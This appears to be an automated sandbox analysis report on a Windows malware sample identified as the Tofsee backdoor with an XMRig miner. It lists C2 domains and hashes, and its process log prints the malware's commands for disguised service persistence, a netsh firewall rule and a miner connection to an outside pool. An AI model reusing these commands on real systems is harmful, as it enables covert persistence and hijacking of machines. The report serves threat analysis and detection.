Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/10/2022, 22:55

General

  • Target
    file.exe
  • Size 219KB
  • Sample221023-2v4headbhm
  • SHA256 dc7cca3ea4737e7ede339ffc78af8f5d97b812f0eac4613f46adefa140dc3a5e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hzhxahtd\
      2⤵
        PID:1416
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hnavovid.exe" C:\Windows\SysWOW64\hzhxahtd\
        2⤵
          PID:216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hzhxahtd binPath= "C:\Windows\SysWOW64\hzhxahtd\hnavovid.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3156
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hzhxahtd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hzhxahtd
          2⤵
          • Launches sc.exe
          PID:3924
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4356
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 1036
          2⤵
          • Program crash
          PID:1288
      • C:\Windows\SysWOW64\hzhxahtd\hnavovid.exe
        C:\Windows\SysWOW64\hzhxahtd\hnavovid.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1008
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2556
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 524
          2⤵
          • Program crash
          PID:724
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4540 -ip 4540
        1⤵
          PID:1828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3952 -ip 3952
          1⤵
            PID:4940

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                hnavovid.exe

                • Path C:\Users\Admin\AppData\Local\Temp\hnavovid.exe
                • Size 14.9MB
                • SHA256 c945155ca3120838cb1319c4f43965d5b0be7287286bd7594b7f562251b6c81b
                • MD5 SHA1 SHA512 SSDEEP

                hnavovid.exe

                • Path C:\Windows\SysWOW64\hzhxahtd\hnavovid.exe
                • Size 14.9MB
                • SHA256 c945155ca3120838cb1319c4f43965d5b0be7287286bd7594b7f562251b6c81b
                • MD5 SHA1 SHA512 SSDEEP

                memory/1008-162-0x0000000001BC0000-0x0000000001BD0000-memory.dmp

                memory/1008-165-0x0000000001BD0000-0x0000000001BD5000-memory.dmp

                memory/1008-171-0x00000000027D0000-0x00000000027D7000-memory.dmp

                memory/1008-168-0x0000000007300000-0x000000000770B000-memory.dmp

                memory/1008-159-0x0000000001BB0000-0x0000000001BB6000-memory.dmp

                memory/1008-156-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/1008-155-0x0000000000540000-0x0000000000555000-memory.dmp

                memory/1008-153-0x0000000000540000-0x0000000000555000-memory.dmp

                memory/1008-149-0x0000000000540000-0x0000000000555000-memory.dmp

                memory/2556-180-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/2556-175-0x0000000000600000-0x00000000006F1000-memory.dmp

                memory/3952-152-0x0000000002C7E000-0x0000000002C93000-memory.dmp

                memory/3952-154-0x0000000000400000-0x0000000002C25000-memory.dmp

                memory/4540-138-0x0000000000400000-0x0000000002C25000-memory.dmp

                memory/4540-137-0x0000000002E90000-0x0000000002EA3000-memory.dmp

                memory/4540-136-0x0000000002EE3000-0x0000000002EF9000-memory.dmp

                memory/4540-147-0x0000000000400000-0x0000000002C25000-memory.dmp

                memory/4540-146-0x0000000002EE3000-0x0000000002EF9000-memory.dmp